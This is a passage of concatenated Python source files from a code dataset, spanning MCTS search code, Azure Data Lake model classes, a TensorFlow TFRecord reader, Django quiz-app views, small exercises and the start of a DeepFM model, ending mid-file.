# use to select node in active branch\n @property\n def inactive(self):\n return self._inactive or self.visited and \\\n (not self.children or \\\n all(child.inactive for child in self.children))\n\n # use to determine whether corresponding branch is active\n @property\n def inactive_medium(self):\n return self._inactive or self.visited\n\n # use to create new branch from active nodes\n @property\n def inactive_soft(self):\n return self._inactive\n\n def _set_ucb_value(self, temperature):\n if len(self) == 1 and self.visits == 1:\n self.ucb_value = float(\"inf\")\n else:\n self.ucb_value = self.value + temperature * math.sqrt(\n float(self.branch.visits) / float(self.visits)\n )\n\n def _rolling_update(self, value, base_value, rolling_method):\n roll = getattr(self, rolling_method)\n nodes = [self]\n while True:\n self._bulk_update(nodes, rolling_method,\n value=value, base_value=base_value)\n value = 0\n nodes = roll(nodes)\n # break if the end is reached\n if not nodes:\n break\n # also break when fully visited branch is reached\n if nodes[0].branch.inactive:\n break\n # if could not be satisfied (inf), only punish current node\n if value == float(\"inf\"):\n break\n\n def rolling_update(self, value, base_value):\n rolling_methods = [\"get_bulk_parents\", \"get_bulk_children\"]\n for rolling_method in rolling_methods:\n self._rolling_update(value, base_value, rolling_method)\n\n def _set_inactive_descendants(self):\n self._inactive = True\n self.set_node_color(\"red\")\n for child in self.children:\n child._set_inactive_descendants()\n\n def get_relevant_descendants(self, max_level):\n children = self.children\n if self.branch.level == max_level:\n return children\n return flatten([\n child.get_relevant_descendants(max_level)\n for child in children])\n\n @staticmethod\n def get_bulk_parents(nodes):\n return flatten(n.parents for n in nodes)\n\n @staticmethod\n def get_bulk_children(nodes):\n return flatten(n.children for n in nodes)\n\n @staticmethod\n def _bulk_update(nodes, rolling_method, value=0, base_value=1):\n for n in nodes:\n n.update(rolling_method, value=value, base_value=base_value)\n","sub_path":"sa-mcts/src/sa_mcts.py","file_name":"sa_mcts.py","file_ext":"py","file_size_in_byte":32059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"222807213","text":"# %load request.py\nimport requests\nimport json\n\n# URL\n# url = 'http://127.0.0.1:5003/api'\nurl = 'http://rangga170397.pythonanywhere.com/api'\n\n# Change the value of experience that you want to test\npayload = {0 : {'account_check_status': '< 0 DM',\n 'duration_in_month': 18,\n 'credit_history': 'existing credits paid back duly till now',\n 'purpose': 'domestic appliances',\n 'credit_amount': 3190,\n 'savings': '... < 100 DM',\n 'present_emp_since': '1 <= ... < 4 years',\n 'installment_as_income_perc': 2,\n 'personal_status_sex': 'female : divorced/separated/married',\n 'other_debtors': 'none',\n 'present_res_since': 2,\n 'property': 'real estate',\n 'age': 24,\n 'other_installment_plans': 'none',\n 'housing': 'own',\n 'credits_this_bank': 1,\n 'job': 'skilled employee / official',\n 'people_under_maintenance': 1,\n 'telephone': 'none',\n 'foreign_worker': 'yes'}\n }\n\n\nr = requests.post(url, json = payload)\n\nprint(r.json())","sub_path":"request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"66109431","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------\n\nimport datetime\nfrom typing import List, Optional\n\nfrom azure.core.exceptions import HttpResponseError\nimport msrest.serialization\n\n\nclass AclFailedEntry(msrest.serialization.Model):\n \"\"\"AclFailedEntry.\n\n :param name:\n :type name: str\n :param type:\n :type type: str\n :param error_message:\n :type error_message: str\n \"\"\"\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'type': {'key': 'type', 'type': 'str'},\n 'error_message': {'key': 'errorMessage', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: Optional[str] = None,\n type: Optional[str] = None,\n error_message: Optional[str] = None,\n **kwargs\n ):\n super(AclFailedEntry, self).__init__(**kwargs)\n self.name = name\n self.type = type\n self.error_message = error_message\n\n\nclass FileSystem(msrest.serialization.Model):\n \"\"\"FileSystem.\n\n :param name:\n :type name: str\n :param last_modified:\n :type last_modified: str\n :param e_tag:\n :type e_tag: str\n \"\"\"\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'last_modified': {'key': 'lastModified', 'type': 'str'},\n 'e_tag': {'key': 'eTag', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: Optional[str] = None,\n last_modified: Optional[str] = None,\n e_tag: Optional[str] = None,\n **kwargs\n ):\n super(FileSystem, self).__init__(**kwargs)\n self.name = name\n self.last_modified = last_modified\n self.e_tag = e_tag\n\n\nclass FileSystemList(msrest.serialization.Model):\n \"\"\"FileSystemList.\n\n :param filesystems:\n :type filesystems: list[~azure.storage.filedatalake.models.FileSystem]\n \"\"\"\n\n _attribute_map = {\n 'filesystems': {'key': 'filesystems', 'type': '[FileSystem]'},\n }\n\n def __init__(\n self,\n *,\n filesystems: Optional[List[\"FileSystem\"]] = None,\n **kwargs\n ):\n super(FileSystemList, self).__init__(**kwargs)\n self.filesystems = filesystems\n\n\nclass LeaseAccessConditions(msrest.serialization.Model):\n \"\"\"Parameter group.\n\n :param lease_id: If specified, the operation only succeeds if the resource's lease is active\n and matches this ID.\n :type lease_id: str\n \"\"\"\n\n _attribute_map = {\n 'lease_id': {'key': 'leaseId', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n lease_id: Optional[str] = None,\n **kwargs\n ):\n super(LeaseAccessConditions, self).__init__(**kwargs)\n self.lease_id = lease_id\n\n\nclass ModifiedAccessConditions(msrest.serialization.Model):\n \"\"\"Parameter group.\n\n :param if_modified_since: Specify this header value to operate only on a blob if it has been\n modified since the specified date/time.\n :type if_modified_since: ~datetime.datetime\n :param if_unmodified_since: Specify this header value to operate only on a blob if it has not\n been modified since the specified date/time.\n :type if_unmodified_since: ~datetime.datetime\n :param if_match: Specify an ETag value to operate only on blobs with a matching value.\n :type if_match: str\n :param if_none_match: Specify an ETag value to operate only on blobs without a matching value.\n :type if_none_match: str\n \"\"\"\n\n _attribute_map = {\n 'if_modified_since': {'key': 'ifModifiedSince', 'type': 'rfc-1123'},\n 'if_unmodified_since': {'key': 'ifUnmodifiedSince', 'type': 'rfc-1123'},\n 'if_match': {'key': 'ifMatch', 'type': 'str'},\n 'if_none_match': {'key': 'ifNoneMatch', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n if_modified_since: Optional[datetime.datetime] = None,\n if_unmodified_since: Optional[datetime.datetime] = None,\n if_match: Optional[str] = None,\n if_none_match: Optional[str] = None,\n **kwargs\n ):\n super(ModifiedAccessConditions, self).__init__(**kwargs)\n self.if_modified_since = if_modified_since\n self.if_unmodified_since = if_unmodified_since\n self.if_match = if_match\n self.if_none_match = if_none_match\n\n\nclass Path(msrest.serialization.Model):\n \"\"\"Path.\n\n :param name:\n :type name: str\n :param is_directory:\n :type is_directory: bool\n :param last_modified:\n :type last_modified: str\n :param e_tag:\n :type e_tag: str\n :param content_length:\n :type content_length: long\n :param owner:\n :type owner: str\n :param group:\n :type group: str\n :param permissions:\n :type permissions: str\n \"\"\"\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'is_directory': {'key': 'isDirectory', 'type': 'bool'},\n 'last_modified': {'key': 'lastModified', 'type': 'str'},\n 'e_tag': {'key': 'eTag', 'type': 'str'},\n 'content_length': {'key': 'contentLength', 'type': 'long'},\n 'owner': {'key': 'owner', 'type': 'str'},\n 'group': {'key': 'group', 'type': 'str'},\n 'permissions': {'key': 'permissions', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: Optional[str] = None,\n is_directory: Optional[bool] = False,\n last_modified: Optional[str] = None,\n e_tag: Optional[str] = None,\n content_length: Optional[int] = None,\n owner: Optional[str] = None,\n group: Optional[str] = None,\n permissions: Optional[str] = None,\n **kwargs\n ):\n super(Path, self).__init__(**kwargs)\n self.name = name\n self.is_directory = is_directory\n self.last_modified = last_modified\n self.e_tag = e_tag\n self.content_length = content_length\n self.owner = owner\n self.group = group\n self.permissions = permissions\n\n\nclass PathHTTPHeaders(msrest.serialization.Model):\n \"\"\"Parameter group.\n\n :param cache_control: Optional. Sets the blob's cache control. If specified, this property is\n stored with the blob and returned with a read request.\n :type cache_control: str\n :param content_encoding: Optional. Sets the blob's content encoding. If specified, this\n property is stored with the blob and returned with a read request.\n :type content_encoding: str\n :param content_language: Optional. Set the blob's content language. If specified, this property\n is stored with the blob and returned with a read request.\n :type content_language: str\n :param content_disposition: Optional. Sets the blob's Content-Disposition header.\n :type content_disposition: str\n :param content_type: Optional. Sets the blob's content type. If specified, this property is\n stored with the blob and returned with a read request.\n :type content_type: str\n :param content_md5: Specify the transactional md5 for the body, to be validated by the service.\n :type content_md5: bytearray\n :param transactional_content_hash: Specify the transactional md5 for the body, to be validated\n by the service.\n :type transactional_content_hash: bytearray\n \"\"\"\n\n _attribute_map = {\n 'cache_control': {'key': 'cacheControl', 'type': 'str'},\n 'content_encoding': {'key': 'contentEncoding', 'type': 'str'},\n 'content_language': {'key': 'contentLanguage', 'type': 'str'},\n 'content_disposition': {'key': 'contentDisposition', 'type': 'str'},\n 'content_type': {'key': 'contentType', 'type': 'str'},\n 'content_md5': {'key': 'contentMD5', 'type': 'bytearray'},\n 'transactional_content_hash': {'key': 'transactionalContentHash', 'type': 'bytearray'},\n }\n\n def __init__(\n self,\n *,\n cache_control: Optional[str] = None,\n content_encoding: Optional[str] = None,\n content_language: Optional[str] = None,\n content_disposition: Optional[str] = None,\n content_type: Optional[str] = None,\n content_md5: Optional[bytearray] = None,\n transactional_content_hash: Optional[bytearray] = None,\n **kwargs\n ):\n super(PathHTTPHeaders, self).__init__(**kwargs)\n self.cache_control = cache_control\n self.content_encoding = content_encoding\n self.content_language = content_language\n self.content_disposition = content_disposition\n self.content_type = content_type\n self.content_md5 = content_md5\n self.transactional_content_hash = transactional_content_hash\n\n\nclass PathList(msrest.serialization.Model):\n \"\"\"PathList.\n\n :param paths:\n :type paths: list[~azure.storage.filedatalake.models.Path]\n \"\"\"\n\n _attribute_map = {\n 'paths': {'key': 'paths', 'type': '[Path]'},\n }\n\n def __init__(\n self,\n *,\n paths: Optional[List[\"Path\"]] = None,\n **kwargs\n ):\n super(PathList, self).__init__(**kwargs)\n self.paths = paths\n\n\nclass SetAccessControlRecursiveResponse(msrest.serialization.Model):\n \"\"\"SetAccessControlRecursiveResponse.\n\n :param directories_successful:\n :type directories_successful: int\n :param files_successful:\n :type files_successful: int\n :param failure_count:\n :type failure_count: int\n :param failed_entries:\n :type failed_entries: list[~azure.storage.filedatalake.models.AclFailedEntry]\n \"\"\"\n\n _attribute_map = {\n 'directories_successful': {'key': 'directoriesSuccessful', 'type': 'int'},\n 'files_successful': {'key': 'filesSuccessful', 'type': 'int'},\n 'failure_count': {'key': 'failureCount', 'type': 'int'},\n 'failed_entries': {'key': 'failedEntries', 'type': '[AclFailedEntry]'},\n }\n\n def __init__(\n self,\n *,\n directories_successful: Optional[int] = None,\n files_successful: Optional[int] = None,\n failure_count: Optional[int] = None,\n failed_entries: Optional[List[\"AclFailedEntry\"]] = None,\n **kwargs\n ):\n super(SetAccessControlRecursiveResponse, self).__init__(**kwargs)\n self.directories_successful = directories_successful\n self.files_successful = files_successful\n self.failure_count = failure_count\n self.failed_entries = failed_entries\n\n\nclass SourceModifiedAccessConditions(msrest.serialization.Model):\n \"\"\"Parameter group.\n\n :param source_if_match: Specify an ETag value to operate only on blobs with a matching value.\n :type source_if_match: str\n :param source_if_none_match: Specify an ETag value to operate only on blobs without a matching\n value.\n :type source_if_none_match: str\n :param source_if_modified_since: Specify this header value to operate only on a blob if it has\n been modified since the specified date/time.\n :type source_if_modified_since: ~datetime.datetime\n :param source_if_unmodified_since: Specify this header value to operate only on a blob if it\n has not been modified since the specified date/time.\n :type source_if_unmodified_since: ~datetime.datetime\n \"\"\"\n\n _attribute_map = {\n 'source_if_match': {'key': 'sourceIfMatch', 'type': 'str'},\n 'source_if_none_match': {'key': 'sourceIfNoneMatch', 'type': 'str'},\n 'source_if_modified_since': {'key': 'sourceIfModifiedSince', 'type': 'rfc-1123'},\n 'source_if_unmodified_since': {'key': 'sourceIfUnmodifiedSince', 'type': 'rfc-1123'},\n }\n\n def __init__(\n self,\n *,\n source_if_match: Optional[str] = None,\n source_if_none_match: Optional[str] = None,\n source_if_modified_since: Optional[datetime.datetime] = None,\n source_if_unmodified_since: Optional[datetime.datetime] = None,\n **kwargs\n ):\n super(SourceModifiedAccessConditions, self).__init__(**kwargs)\n self.source_if_match = source_if_match\n self.source_if_none_match = source_if_none_match\n self.source_if_modified_since = source_if_modified_since\n self.source_if_unmodified_since = source_if_unmodified_since\n\n\nclass StorageError(msrest.serialization.Model):\n \"\"\"StorageError.\n\n :param error: The service error response object.\n :type error: ~azure.storage.filedatalake.models.StorageErrorAutoGenerated\n \"\"\"\n\n _attribute_map = {\n 'error': {'key': 'error', 'type': 'StorageErrorAutoGenerated'},\n }\n\n def __init__(\n self,\n *,\n error: Optional[\"StorageErrorAutoGenerated\"] = None,\n **kwargs\n ):\n super(StorageError, self).__init__(**kwargs)\n self.error = error\n\n\nclass StorageErrorAutoGenerated(msrest.serialization.Model):\n \"\"\"The service error response object.\n\n :param code: The service error code.\n :type code: str\n :param message: The service error message.\n :type message: str\n \"\"\"\n\n _attribute_map = {\n 'code': {'key': 'Code', 'type': 'str'},\n 'message': {'key': 'Message', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n code: Optional[str] = None,\n message: Optional[str] = None,\n **kwargs\n ):\n super(StorageErrorAutoGenerated, self).__init__(**kwargs)\n self.code = code\n self.message = message\n","sub_path":"sdk/storage/azure-storage-file-datalake/azure/storage/filedatalake/_generated/models/_models_py3.py","file_name":"_models_py3.py","file_ext":"py","file_size_in_byte":13584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"208366655","text":"from PIL import Image\nimport numpy as np\nimport tensorflow as tf\n\n\n\ndef read_and_decode(filename_queue):\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n features = tf.parse_single_example(\n serialized_example,\n # Defaults are not specified since both keys are required.\n features={\n\n })\n image = tf.decode_raw(features['image/encoded'], tf.uint8)\n label = tf.cast(features['image/object/class/label'], tf.int32)\n height = tf.cast(features['image/height'], tf.int32)\n width = tf.cast(features['image/width'], tf.int32)\n return image, label, height, width\n\n\ndef get_all_records(FILE):\n with tf.Session() as sess:\n filename_queue = tf.train.string_input_producer([ FILE ])\n image, label, height, width = read_and_decode(filename_queue)\n bytz = tf.stack([width, height, 3])\n image = tf.reshape(image, bytz)\n image.set_shape([720,720,3])\n init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n sess.run(init_op)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n for i in range(100):\n example, l = sess.run([image, label])\n img = Image.fromarray(example, 'RGB')\n img.save( \"output/\" + str(i) + '-train.png')\n\n print (example,l)\n coord.request_stop()\n coord.join(threads)\n\n\n\ndef parse(serialized):\n # Define a dict with the data-names and types we expect to\n # find in the TFRecords file.\n # It is a bit awkward that this needs to be specified again,\n # because it could have been written in the header of the\n # TFRecords file instead.\n features = \\\n {\n 'image/height': tf.FixedLenFeature([], tf.int64),\n 'image/width': tf.FixedLenFeature([], tf.int64),\n 'image/filename': tf.FixedLenFeature([], tf.string),\n 'image/source_id': tf.FixedLenFeature([], tf.string),\n 'image/encoded': tf.FixedLenFeature([], tf.string),\n 'image/format': tf.FixedLenFeature([], tf.string),\n 'image/object/bbox/xmin': tf.VarLenFeature(tf.float32),\n 'image/object/bbox/xmax': tf.VarLenFeature(tf.float32),\n 'image/object/bbox/ymin': tf.VarLenFeature(tf.float32),\n 'image/object/bbox/ymax': tf.VarLenFeature(tf.float32),\n 'image/object/class/text': tf.VarLenFeature(tf.string),\n 'image/object/class/label': tf.VarLenFeature(tf.int64)\n }\n\n # Parse the serialized data so we get a dict with our data.\n parsed_example = tf.parse_single_example(serialized=serialized,\n features=features)\n\n # Get the image as raw bytes.\n image_raw = parsed_example['image/encoded']\n\n # Decode the raw bytes so it becomes a tensor with type.\n image = tf.decode_raw(image_raw, tf.uint8)\n\n # The type is now uint8 but we need it to be float.\n image = tf.cast(image, tf.float32)\n\n # Get the label associated with the image.\n label = parsed_example['image/object/class/label']\n height = parsed_example['image/height']\n width = parsed_example['image/width']\n\n # The image and label are now correct TensorFlow types.\n return image, label, height, width\n\n\ndef input_fn(filenames, train, batch_size=32, buffer_size=2048):\n # Args:\n # filenames: Filenames for the TFRecords files.\n # train: Boolean whether training (True) or testing (False).\n # batch_size: Return batches of this size.\n # buffer_size: Read buffers of this size. The random shuffling\n # is done on the buffer, so it must be big enough.\n\n # Create a TensorFlow Dataset-object which has functionality\n # for reading and shuffling data from TFRecords files.\n dataset = tf.data.TFRecordDataset(filenames=filenames)\n\n # Parse the serialized data in the TFRecords files.\n # This returns TensorFlow tensors for the image and labels.\n dataset = dataset.map(parse)\n\n if train:\n # If training then read a buffer of the given size and\n # randomly shuffle it.\n dataset = dataset.shuffle(buffer_size=buffer_size)\n\n # Allow infinite reading of the data.\n num_repeat = None\n else:\n # If testing then don't shuffle the data.\n\n # Only go through the data once.\n num_repeat = 1\n\n # Repeat the dataset the given number of times.\n dataset = dataset.repeat(num_repeat)\n\n # Get a batch of data with the given size.\n dataset = dataset.batch(batch_size)\n\n # Create an iterator for the dataset and the above modifications.\n iterator = dataset.make_one_shot_iterator()\n\n # Get the next batch of images and labels.\n images_batch, labels_batch = iterator.get_next()\n\n # The input-function must return a dict wrapping the images.\n x = {'image': images_batch}\n y = labels_batch\n\n return x, y\n\n\ndef train_input_fn():\n return input_fn(filenames='data/testtrain.record', train=True)\n\n\nif __name__ == '__main__':\n train_input_fn()","sub_path":"read_tfrecord.py","file_name":"read_tfrecord.py","file_ext":"py","file_size_in_byte":5103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"270791062","text":"##\n## Construya una tabla que contenga _c0 y una lista\n## separada por ',' de los valores de la columna _c5a\n## y _c5b (unidos por ':') de la tabla tbl2.tsv\n## \n\nimport pandas as pd\nimport numpy as np\ndf=pd.read_csv('tbl0.tsv',delimiter='\\t')\ndg=pd.read_csv('tbl1.tsv',delimiter='\\t')\ndh=pd.read_csv('tbl2.tsv',delimiter='\\t')\n\n#Respuesta\ndh['_c5'] = dh['_c5a'] + \":\" + dh['_c5b'].astype('str')\ndfauxi= dh.groupby('_c0')['_c5'].apply(list)\ndh1 = pd.DataFrame()\ndh1['_c0'] = dfauxi.keys()\ndh1['lista'] = [elem for elem in dfauxi]\ndh1['lista'] = [\",\".join(str(v) for v in sorted(elem)) for elem in dh1['lista']]\ndh1","sub_path":"q11.py","file_name":"q11.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"623254589","text":"import json\nimport pyautogui as pag\nfrom django.contrib import messages\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login, logout\n# Create your views here.\nfrom django.urls import reverse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom quiz_center.models import CustomUser,CompetitionType,Staffs,Participants,FeedBack,QuestionBank\n\ndef add_participant(request):\n competition=CompetitionType.objects.all()\n return render(request, \"register_participant.html\",{\"competition\":competition})\n\ndef participant_page(request):\n competition=CompetitionType.objects.all()\n feedback = FeedBack.objects.all()\n return render(request, \"Participant_templates/participant_home.html\",{\"competition\":competition,\"feedback\":feedback})\n\ndef view_profile(request):\n user = CustomUser.objects.get(id=request.user.id)\n participant=Participants.objects.get(admin=user.id)\n competition=CompetitionType.objects.all()\n return render(request,\"Participant_templates/user_profile.html\",{\"user\":user,\"participant\":participant,\"competition\":competition})\n\ndef add_feedback(request):\n student_obj = Participants.objects.get(admin=request.user.id)\n feedback_data = FeedBack.objects.all()\n return render(request,\"Participant_templates/user_feedback.html\",{\"feedback\":feedback_data})\n\ndef feedback_save(request):\n if request.method!=\"POST\":\n return HttpResponseRedirect(\"/student_feedback\")\n else:\n feedback_message=request.POST.get(\"feedback\")\n student_obj = Participants.objects.get(admin=request.user.id)\n try:\n feedback_report=FeedBack(participant_id=student_obj,feedback=feedback_message,feedback_reply=\"\")\n feedback_report.save()\n messages.success(request, \"Your feedback has been recorded\")\n return HttpResponseRedirect(\"/add_feedback\")\n except:\n messages.error(request, \"Something went wrong, try again!\")\n return HttpResponseRedirect(\"/add_feedback\")\n\n\n\"\"\"def delete_student(request,student_id):\n Students.objects.filter(id=student_id).delete()\n students = Students.objects.all()\n return render(request, \"hod_templates/manage_student_template.html\", {\"students\": students})\n\"\"\"\ndef save_participant(request):\n if request.method!=\"POST\":\n return HttpResponse(\"Method Not Allowed\")\n else:\n first_name = request.POST.get(\"first_name\")\n last_name = request.POST.get(\"last_name\")\n username = request.POST.get(\"username\")\n email = request.POST.get(\"email\")\n password = request.POST.get(\"password\")\n address = request.POST.get(\"address\")\n comp = request.POST.get(\"competition\")\n gender = request.POST.get(\"gender\")\n #profile_pic = request.POST.FILES\n\n try:\n user = CustomUser.objects.create_user(username=username, password=password, email=email,last_name=last_name, first_name=first_name,user_type=2)\n user.participants.address = address\n competition_obj=CompetitionType.objects.get(id=comp)\n user.participants.competition_id=competition_obj\n user.participants.gender = gender\n user.save()\n\n messages.success(request, \"Woah, you are registered now!\")\n return HttpResponseRedirect(\"/add_participant\")\n except:\n messages.error(request,\"Oops! something went wrong\")\n return HttpResponseRedirect(\"/add_participant\")\n\n\n\n@csrf_exempt\ndef get_staff(request):\n staff_id=request.POST.get(\"chk_email\")\n staff_user=request.POST.get(\"chk_username\")\n\n staff=Staffs.objects.get(id=staff_id)\n list_data=[]\n\n for s in staff:\n data_small={\"id\":s.admin.id,\"name\":s.admin.first_name+\" \"+s.admin.last_name}\n list_data.append(data_small)\n print(list_data)\n return JsonResponse(json.dumps(list_data),content_type=\"application/json\",safe=False)\n\n\n\"\"\"\ndef delete_staff(request,staff_id):\n Staffs.objects.filter(id=staff_id).delete()\n staffs = Staffs.objects.all()\n return render(request, \"hod_templates/manage_staff_template.html\", {\"staffs\": staffs})\n\"\"\"\n\ndef selected_question(request,exam_id):\n all_ques=QuestionBank.objects.filter(competition_id=exam_id)\n competition=CompetitionType.objects.get(id=exam_id)\n #print(all_ques)\n return render(request,\"Test_papers/exam.html\",{\"question_set\":all_ques,\"competition\":competition})\n\ndef save_participant_changes(request):\n if request.method != \"POST\":\n return HttpResponseRedirect(reverse(\"admin_profile\"))\n else:\n first_name = request.POST.get(\"first_name\")\n last_name = request.POST.get(\"last_name\")\n password=request.POST.get(\"password\")\n address=request.POST.get(\"address\")\n try:\n user = CustomUser.objects.get(id=request.user.id)\n user.first_name=first_name\n user.last_name=last_name\n if password!=None and password!=\"\":\n user.password=password\n user.save()\n staff=Staffs.objects.get(admin=user.id)\n staff.address=address\n staff.save()\n messages.success(request, \"Successfully Edited Participant Details!\")\n return HttpResponseRedirect(reverse(\"view_profile\"))\n except:\n messages.error(request, \"Failed to Edit Participant Details!\")\n return HttpResponseRedirect(reverse(\"view_profile\"))\n\ndef available_mock_test(request):\n tests=CompetitionType.objects.all()\n print(request.user.user_type)\n if request.user.user_type == \"2\":\n messages.info(request, \"You are a participant you can appear in test if you want!\")\n elif request.user.user_type == \"3\":\n messages.warning(request, 'Seems you are a Staff you can not visit test page.')\n else:\n messages.error(request, 'Seems you are Admin you can not visit test page.')\n return render(request, \"Participant_templates/mock_test.html\", {\"tests\": tests})","sub_path":"quiz_app/quiz_center/Participantviews.py","file_name":"Participantviews.py","file_ext":"py","file_size_in_byte":6144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"412409534","text":"#\n# Solution To Project Euler Problem 36\n#\n#\n# Double-base palindromes\n#\n#\n# Erlend Vollset\n#\n#\n\ndef is_palindromic(s):\n for i in range(len(s) / 2 + 1):\n if s[i] != s[len(s) - 1 - i]:\n return False\n return True\n\ndef compute():\n sum_palindromes = 0\n for i in range(1,1000000):\n if is_palindromic(str(i)):\n if is_palindromic(\"{:b}\".format(i)):\n sum_palindromes += i\n return str(sum_palindromes)\n\nif __name__ == \"__main__\":\n print(compute())\n","sub_path":"Problems/Problem_36.py","file_name":"Problem_36.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"132167640","text":"\"\"\"\nTensorflow implementation of DeepFM [1]\n\nReference:\n[1] DeepFM: A Factorization-Machine based Neural Network for CTR Prediction,\n Huifeng Guo\u0003, Ruiming Tang, Yunming Yey, Zhenguo Li, Xiuqiang He.\n\"\"\"\n\nfrom time import time\nimport datetime\n\nimport os\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.metrics import roc_auc_score\nfrom tensorflow.contrib.layers.python.layers import batch_norm as batch_norm\n\n\n# from yellowfin import YFOptimizer\n\n\nclass DeepFM(BaseEstimator, TransformerMixin):\n def __init__(self, feature_size, field_size,\n embedding_size=8, dropout_fm=[1.0, 1.0],\n deep_layers=[32, 32], dropout_deep=[0.5, 0.5, 0.5],\n deep_layers_activation=tf.nn.relu,\n epoch=10, batch_size=256,\n learning_rate=0.001, optimizer_type=\"adam\",\n batch_norm=0, batch_norm_decay=0.995,\n verbose=False, random_seed=2019, num_checkpoints=5,\n use_fm=True, use_deep=True,\n loss_type=\"logloss\", eval_metric=roc_auc_score,\n l2_reg=0.0, greater_is_better=False,\n model_dir=\".\", checkpoint_every=1):\n assert (use_fm or use_deep)\n assert loss_type in [\"logloss\", \"mse\"], \\\n \"loss_type can be either 'logloss' for classification task or 'mse' for regression task\"\n\n self.feature_size = feature_size # denote as M, size of the feature dictionary\n self.field_size = field_size # denote as F, size of the feature fields\n self.embedding_size = embedding_size # denote as K, size of the feature embedding\n\n self.dropout_fm = dropout_fm\n self.deep_layers = deep_layers\n self.dropout_deep = dropout_deep\n self.deep_layers_activation = deep_layers_activation\n self.use_fm = use_fm\n self.use_deep = use_deep\n self.l2_reg = l2_reg\n\n self.epoch = epoch\n self.batch_size = batch_size\n self.learning_rate = learning_rate\n self.optimizer_type = optimizer_type\n\n self.batch_norm = batch_norm\n self.batch_norm_decay = batch_norm_decay\n\n self.verbose = verbose\n self.random_seed = random_seed\n self.num_checkpoints = num_checkpoints\n self.loss_type = loss_type\n self.eval_metric = eval_metric\n self.greater_is_better = greater_is_better\n self.train_result, self.valid_result = [], []\n\n self.model_dir = model_dir\n self.checkpoint_every = checkpoint_every\n\n if use_deep and use_fm:\n self.model_type = \"DeepFM\"\n elif use_deep:\n self.model_type = \"Deep\"\n elif use_fm:\n self.model_type = \"FM\"\n\n self._init_graph()\n\n def _init_graph(self):\n self.graph = tf.Graph()\n with self.graph.as_default():\n\n tf.set_random_seed(self.random_seed)\n\n self.feat_index = tf.placeholder(tf.int32, shape=[None, None],\n name=\"feat_index\") # None * F\n self.feat_value = tf.placeholder(tf.float32, shape=[None, None],\n name=\"feat_value\") # None * F\n self.label = tf.placeholder(tf.float32, shape=[None, 1], name=\"label\") # None * 1\n self.dropout_keep_fm = tf.placeholder(tf.float32, shape=[None], name=\"dropout_keep_fm\")\n self.dropout_keep_deep = tf.placeholder(tf.float32, shape=[None], name=\"dropout_keep_deep\")\n self.train_phase = tf.placeholder(tf.bool, name=\"train_phase\")\n\n self.weights = self._initialize_weights()\n\n with tf.name_scope(\"embedding_lookup\"):\n # model\n self.embeddings = tf.nn.embedding_lookup(self.weights[\"feature_embeddings\"],\n self.feat_index) # None * F * K\n feat_value = tf.reshape(self.feat_value, shape=[-1, self.field_size, 1])\n self.embeddings = tf.multiply(self.embeddings, feat_value)\n\n with tf.name_scope(\"first_order\"):\n # ---------- first order term (w * x) ----------\n self.y_first_order = tf.nn.embedding_lookup(self.weights[\"feature_bias\"], self.feat_index) # None * F * 1\n self.y_first_order = tf.reduce_sum(tf.multiply(self.y_first_order, feat_value), 2) # None * F\n self.y_first_order = tf.nn.dropout(self.y_first_order, self.dropout_keep_fm[0]) # None * F\n\n with tf.name_scope(\"second_order\"):\n # ---------- second order term (sigma·sigma(<vi, vj> * xi·xj)) ---------------\n # sum_square part\n self.summed_features_emb = tf.reduce_sum(self.embeddings, 1) # None * K\n self.summed_features_emb_square = tf.square(self.summed_features_emb) # None * K\n\n # square_sum part\n self.squared_features_emb = tf.square(self.embeddings)\n self.squared_sum_features_emb = tf.reduce_sum(self.squared_features_emb, 1) # None * K\n\n # second order\n self.y_second_order = 0.5 * tf.subtract(self.summed_features_emb_square,\n self.squared_sum_features_emb) # None * K\n self.y_second_order = tf.nn.dropout(self.y_second_order, self.dropout_keep_fm[1]) # None * K\n\n with tf.name_scope(\"deep_component\"):\n # ---------- Deep component ----------\n self.y_deep = tf.reshape(self.embeddings, shape=[-1, self.field_size * self.embedding_size]) # None * (F*K)\n self.y_deep = tf.nn.dropout(self.y_deep, self.dropout_keep_deep[0])\n for i in range(0, len(self.deep_layers)):\n self.y_deep = tf.add(tf.matmul(self.y_deep, self.weights[\"layer_%d\" % i]),\n self.weights[\"bias_%d\" % i]) # None * layer[i] * 1\n if self.batch_norm:\n self.y_deep = self.batch_norm_layer(self.y_deep, train_phase=self.train_phase,\n scope_bn=\"bn_%d\" % i) 